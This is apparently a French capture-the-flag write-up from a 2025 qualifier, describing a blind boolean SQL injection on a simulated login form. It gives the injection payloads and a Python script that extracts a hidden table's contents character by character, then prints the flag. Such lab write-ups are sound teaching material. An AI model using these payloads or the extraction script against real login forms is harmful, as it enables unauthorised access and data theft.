Contexte
Lors des qualifications du Hackerlab 2025, nous avons eu accès à un portail interne simulant un système de gestion. Le formulaire de connexion semblait classique, mais un test rapide avec une simple apostrophe a révélé un comportement intéressant : le serveur retournait des messages d’erreur différents selon la validité de la requête SQL sous-jacente.
Identification de la vulnérabilité
En injectant ' OR 1=1-- dans le champ username, la page affichait “Accès refusé” (authentification échouée mais requête valide). En revanche, ' OR 1=2-- retournait “Erreur interne”. Cette différence de comportement confirme une injection SQL booléenne (blind SQLi).
import requests
url = "http://target/login"
charset = "abcdefghijklmnopqrstuvwxyz0123456789_{}"
flag = ""
for pos in range(1, 50):
for c in charset:
payload = f"' OR (SELECT SUBSTRING(flag,{pos},1) FROM secrets)='{c}'--"
r = requests.post(url, data={"user": payload, "pass": "x"})
if "Accès refusé" in r.text:
flag += c
print(f"[+] Flag: {flag}")
break
else:
break
Extraction et flag
Le script a extrait caractère par caractère le contenu de la table secrets. Après environ 40 itérations, nous avons obtenu le flag complet. La clé de cette épreuve résidait dans la patience et l’automatisation — un test manuel aurait pris des heures.
Flag : flag{bl1nd_sql1_p4t13nc3_p4ys_0ff}